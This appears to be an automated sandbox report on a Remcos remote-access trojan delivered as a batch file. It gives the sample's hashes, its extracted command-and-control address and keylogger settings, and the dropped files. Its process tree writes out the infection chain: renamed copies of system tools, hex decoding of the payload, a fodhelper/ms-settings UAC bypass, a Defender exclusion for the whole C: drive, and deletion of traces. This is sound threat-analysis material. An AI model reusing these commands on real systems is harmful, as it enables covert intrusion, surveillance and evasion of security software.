Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/05/2024, 11:12

General

  • Target

    20240506_120821.bat

  • Size

    2.7MB

  • MD5

    dccf087ef97ab26e1832577105018a3b

  • SHA1

    0e83ffc9ada0b2ac90c734bcf9e3110f27ecb4a6

  • SHA256

    add7f027fa7e6fac6fbec91068ab71fbac015ddd6d11ebb06a0b81a9cfec3f26

  • SHA512

    16c367aeb7aa3ae8ef15cdbacec762400870c02c81e90c64e7bda898c8b6f959600367ebffbf30c7f1c3d7ddfb633541e5edbaebfb15b89e828eaf76b5adcd4a

  • SSDEEP

    24576:GrxwK+DtoQXo3twW5xYRLgd9b+n7ARtI7zv2ziFjbSVuxBJGhRCp3:GrxwK+DtpPW56s9b+n7ARi7zv2w73

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

sembe.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    nots.dat

  • keylog_flag

    false

  • keylog_folder

    note

  • keylog_path

    %Temp%

  • mouse_option

    false

  • mutex

    Rmc-999Z97

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\20240506_120821.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3572
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:1328
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:2728
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:2736
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2612
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:1892
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\20240506_120821.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3680
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\20240506_120821.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:824
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4264
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:1800
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3992
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:2492
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2356
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:2932
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:540
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4708
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4500
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:2012
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4972
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:4480
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:3528
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1572
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:672
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:5112
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Kmmmdexj.PIF
                  3⤵
                    PID:2308
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  2⤵
                  • Executes dropped EXE
                  PID:1620
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  2⤵
                  • Executes dropped EXE
                  PID:432
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  2⤵
                  • Executes dropped EXE
                  PID:4744
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2196
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2612
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:956
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4404
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2988
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:1632

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_flxvc5dy.jlu.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Local\Temp\note\nots.dat

                  Filesize

                  144B

                  MD5

                  a7549305547d09f291940644020a9e51

                  SHA1

                  b459b7dff62161be5a8bc130c5b25bc822ddd29d

                  SHA256

                  4551074fea1a6a89ea85e76fdd8e3a9389cd6d08422b9546d2793cc8b5ad5633

                  SHA512

                  80ab71a8edf1b5b60415fadf35bd5de03326454f8760938927b72e880bf163776d3b01972ee3d84593d88028a169bc4d3902bc58bd61065a70e6be28f0af09a6

                • C:\Users\Public\Libraries\Ping_c.pif

                  Filesize

                  894KB

                  MD5

                  ca166f77b253a482d0430e555470b6bc

                  SHA1

                  11e3626e990eead85492c0ac1deb409bb288e569

                  SHA256

                  8e4e25896e4c3eab35a04b7277c280e64ebd57d154dd0d51ae7145af0826c16c

                  SHA512

                  dd4620c1003d7185c99bb49d20cbc96d07ab3af0fbfaadb68e70bbf6906f5ab247e292ea85d93adecbe7be3612572a484c44ba441792c7d19b57da20f77e2a43

                • C:\Users\Public\Ping_c.mp4

                  Filesize

                  1.7MB

                  MD5

                  8d5a0b4824df8851a851c537225650e2

                  SHA1

                  67b8bebb432cd188da5f868c677b9d6fdc8986c4

                  SHA256

                  87efc2a3ea49bddcca63dc1d0316905984c433a817d6811454133d4621294549

                  SHA512

                  6c960b9ff8e263c64ae6cc92aece4fbdbf0bde4513f90c023cbcd1a64047553652697ddde61ec0852dff6403136e6e8dcdbd6c8bba0cc9cb1552fa9b53880414

                • C:\Users\Public\alpha.exe

                  Filesize

                  283KB

                  MD5

                  8a2122e8162dbef04694b9c3e0b6cdee

                  SHA1

                  f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                  SHA256

                  b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                  SHA512

                  99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                • C:\Users\Public\ger.exe

                  Filesize

                  75KB

                  MD5

                  227f63e1d9008b36bdbcc4b397780be4

                  SHA1

                  c0db341defa8ef40c03ed769a9001d600e0f4dae

                  SHA256

                  c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                  SHA512

                  101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                • C:\Users\Public\kn.exe

                  Filesize

                  1.6MB

                  MD5

                  bd8d9943a9b1def98eb83e0fa48796c2

                  SHA1

                  70e89852f023ab7cde0173eda1208dbb580f1e4f

                  SHA256

                  8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                  SHA512

                  95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                • C:\Users\Public\xkn.exe

                  Filesize

                  442KB

                  MD5

                  04029e121a0cfa5991749937dd22a1d9

                  SHA1

                  f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                  SHA256

                  9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                  SHA512

                  6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                • C:\Windows \System32\per.exe

                  Filesize

                  48KB

                  MD5

                  85018be1fd913656bc9ff541f017eacd

                  SHA1

                  26d7407931b713e0f0fa8b872feecdb3cf49065a

                  SHA256

                  c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                  SHA512

                  3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                • memory/4708-36-0x00000200EEB70000-0x00000200EEB92000-memory.dmp

                  Filesize

                  136KB

                • memory/5112-86-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-105-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-85-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-87-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-81-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-88-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-95-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-94-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-75-0x0000000000400000-0x00000000004E8000-memory.dmp

                  Filesize

                  928KB

                • memory/5112-84-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-106-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-117-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-116-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-127-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-128-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-138-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB

                • memory/5112-139-0x0000000027B90000-0x0000000028B90000-memory.dmp

                  Filesize

                  16.0MB